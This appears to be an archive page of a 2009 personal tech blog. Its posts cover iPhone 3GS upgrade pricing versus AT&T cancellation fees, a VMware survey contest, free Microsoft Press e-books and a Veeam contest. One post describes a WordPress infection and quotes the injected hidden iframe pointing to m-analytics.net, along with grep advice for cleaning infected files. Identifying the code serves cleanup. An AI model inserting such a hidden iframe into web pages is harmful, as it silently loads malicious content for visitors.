Archives 2009

Apple to AT&T “Hey, tell your subscribers to cancel and renew service, kthxbye!”

WTF? Apple wouldn’t seriously say that to AT&T would they?!

I’m sure you’ve all seen this chart by now!

iPhone 3G S iPhone 3G New and Qualified Customers $199 (16GB) $299 (32GB) $99 (8GB) $149 (16GB) Early Upgrade	$399 (16GB) $499 (32GB)	$299 (8GB) $349 (16GB) No Commitment	$599 (16GB) $699 (32GB)	$499 (8GB) $549 (16GB)

What they don’t share with you though, is this particular version of the Chart

iPhone 3G S iPhone 3G New and Qualified Customers $199 (16GB) $299 (32GB) $99 (8GB) $149 (16GB) Early Upgrade	$399 (16GB) $499 (32GB)	$299 (8GB) $349 (16GB) No Commitment	$599 (16GB) $699 (32GB)	$499 (8GB) $549 (16GB) Cancel and obtain new service	$175 Cancel + New Cost (374, 474)	$175 Cancel + New Cost (274, 324)

Wait a minute, I don’t agree with that chart at all! It’s not $175 to cancel if you have existing service, it can’t be cheaper than it is to “Upgrade” as Apple has supplied pricing, can it be?

You’re right, I’m absolutely sorry for misleading you.  You are correct, AT&T recently introduced Prorating Cancellation Fees! “AT&T to prorate cancellation fees” So yes, for me at the moment it only costs $150 to cancel which means I have even GREATER Incentive to cancel and obtain new service.

All of this assumes you’d be willing to go so far as to cancel your service in order to obtain the latest and greatest at a lower price.  Yes, that is absolutely correct.  Because I don’t feel I should be penalized to upgrade to the latest hardware by being not only an early adopter/innovator but also by having brand loyalty to Apple and AT&T.

Furthermore, to have ‘paths’ which exist such as making it cheaper to cancel or to have you ‘transfer of service’ to someone else are just ridiculous.

Allow me to elaborate on your “other option”

I recently spoke with the AT&T Retention team and they said that Apple really put the screws to them, putting them in this position whereby it IS in fact cheaper to cancel and get new service than it is to simply provide an honorable upgrade path, so they do have as a semi-out the “Transfer of Service” plan as detailed below. (Taken from Pg13 of Reference Guide)

5.2.
Transfer of Service
Under certain circumstances you can transfer the billing responsibility on an account from the business customer to an End User and vice versa. This transfer of service usually requires that the line move to a new BAN# and a new FAN#.
Key Contacts call the Key Contact Center at:
866-ATT-SMBZ or
866-288-7629
Mon-Fri 7 am – 12 am Eastern
Sat: 9 am – 8 pm Eastern

And all of the naysayers who say that I shouldn’t go so far as to waste AT&T’s resources well beyond the extra $$ so as while the ‘front-end’ cost appears lower, in the long-term as person after person would opt to cancel instead of pony up the $200, that AT&T’s operational costs would well exceed the $200? Well, I say “suck it up, and allow me the upgrade as a Qualified Customer” because frankly I shouldn’t have to jump through hoops, and neither should AT&T.

So to sum it up, what I’m seeing is very clearly this.   Apple (not AT&T) is making me cancel my service in the effort to upgrade to the new Apple 3GS iPhone.  Infact, the incentives to cancel are clearly far better than the reasons to perform an “Early” upgrade.  I’m sorry, but the “Qualified” customers option should include people who are loyal to the brand, to the solution and to the industry; instead of simply saying “Hey you guy who buys our products? Suck on this and pay an extra $200, kthxbye!”

Did you get hit with the m-analytics hack?

I received an email the other day that I was affected malware! (WTF?!) Thanks Zuzia for the heads up! As I didn’t notice it since I was offline for a bit! :)

I did a little searching on this and all I could find was this! Help With WordPress Vulnerability and the problem is more or less indicated by the presence of the following code in your html and php files!

<iframe src="https://m-analytics.net/qaqa/?daf02d89f0bb66c3b4a9ff31da01e10a" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

To tell you the truth, this is pretty damn annoying! I’m still trying to track down the cause because it only hit me here (at Bluehost) where I host 7 blogs (Yes all 7 were hit) however at my other hosting service (iPower) where I host 3 blogs, I was not affected.  So I blame Bluehost! :)

Some tips (if you have shell access) to fix this, is to:

grep m-ana * –r

Then go through one by one and clean up your fricking files (omfg this sucks!) but I don’t really have the time to write a script for it, nor the scripting skillz around that ;)

So, if you’ve been affected, clean it up! If you haven’t be, hooray!

Oh, and sorry for anyone annoyed by the ‘malware site’ message popping up when visiting any of my sites!

VMware says “Fill out our Survey and win a ticket to VMWorld!”

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What? Seriously?! Is everyone giving away free trips to VMWorld? Well, no. This is not a free “Trip!” this is a free “Ticket!”, thus entrance into VMWorld forgoing the $2000 fee for entry!

(Or you could win a free 8GB iPod Touch… :))

Please take the survey – click here
The goal of this survey is to better understand which applications (commercial or in-house developed) you use or develop to manage the VMware vSphere Platform. We need your feedback as it will help us understand which 3rd party vendors or tools VMware needs to focus on.
This survey should take approximately 22 minutes to complete.
We will be awarding great prizes to lucky winners.
Grand Prize – 1 Full Conference Pass to VMworld San Francisco 2009
First Prize is – 1 iPod Touch 8GB
Winners will be chosen in a random drawing
Please review the contest rules, terms, and conditions below.

Contest Information and Rules
o Survey Starts: June 17, 2009 11:59 PM PST
o Closes: Monday August 3rd, 2009 10:00 PM CST
o Winners will be announced on the Developer Center Blog: Friday August 7th 2009
o VMware employees are excluded from entering
o One entry per person
o Raffle participants must fully complete survey
o Winners will be chosen at random by VMware
o You must provide a valid corporate email address – no personal email addresses please
o This contest is for VMware customers, there is no purchase necessary to participate
o Terms and Conditions

Oh, and go here which has all the original details!

VMware vSphere & VI 3.x Management Survey – Cool prizes 1- VMworld Pass, 1- iPod 8 GB Touch

June MSPress Free Anniversary E-Books available until June24th

Microsoft Press 25th Anniversary “Free E-Book of the Month” Offers
This will be our last month to celebrate the 25th anniversary of Microsoft Press with a free e-book offer. This monthly offer can be found in the top right corner of this monthly newsletter. It expires on June 24, 2009, so download the e-books today:

Programming for Unified Communications with Microsoft Office Communications Server 2007 R2
By Rui Maximo, Kurt De Ding, Vishwa Ranjan, Chris Mayo, Oscar Newkerk, and the Microsoft Office Communications Server team
Microsoft Office Communications Server 2007 R2 Resource Kit
By Rui Maximo, Rick Kingslan, Rajesh Ramanathan, and Nirav Kamdar with the Microsoft Office Communications Server Team

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So, get out there and download the last month of free ebooks!

I love @Veeam contest, vote, comment and win a flip?!

So, the finalists are in for the contest I mentioned recently OMG! @Veeam backup supports restoring you to @VMWorld2009 to determine who will be voted on their way to attend VMWorld in San Francisco!

I know I said I’d record a video, and yes I did actually record a video but because I wanted Gabe to win, I opted to not compete (Let’s just say.. I’m a pain in the ass competitor and had a strong chance of taking it from him and everyone else ;)) I may post my video later not for credit to win… but that’s not what we’re here to discuss!

The contestants are in! And you have the opportunity to vote for the best! (Gabe) and comment to win a Flip Camera! (Hey, are you telling me, register, vote, comment = win?!)

Then yes, that is exactly what I’m telling you!  Oh, and check out some really cool software which will help resolve a number of challenges in your infrastructure and virtual environment, that too.  Being that a Flip Camera is not the only free possibility, since they have the Free Veeam Monitor Free Veeam FastSCP and more!

So be sure to go out there, vote for the best of the best! (That’d be Gabrie Van Zanten ;)), comment, and win a Flip Camera! (Check out the goods, make your life and job easier, win!)

It’s all so very straight forward! And be sure to check out Gabe’s blog, it’ll be an investment you’re glad you made!

I love Veeam

So, just click the “I love Veeam” above, Vote, Comment and you could win a Flip!

Disclaimer: I am not a shill, I have no affiliation with Gabe other than the best of respect for his contributions back into the community   Were I to compete with Gabe or anyone else on the team, I likely would have obliterated them as I tend to take things considerably too far, and have at my beck and call a series of video editors and production people. ;)  Just so you don’t think this is biased, he deserves to win :)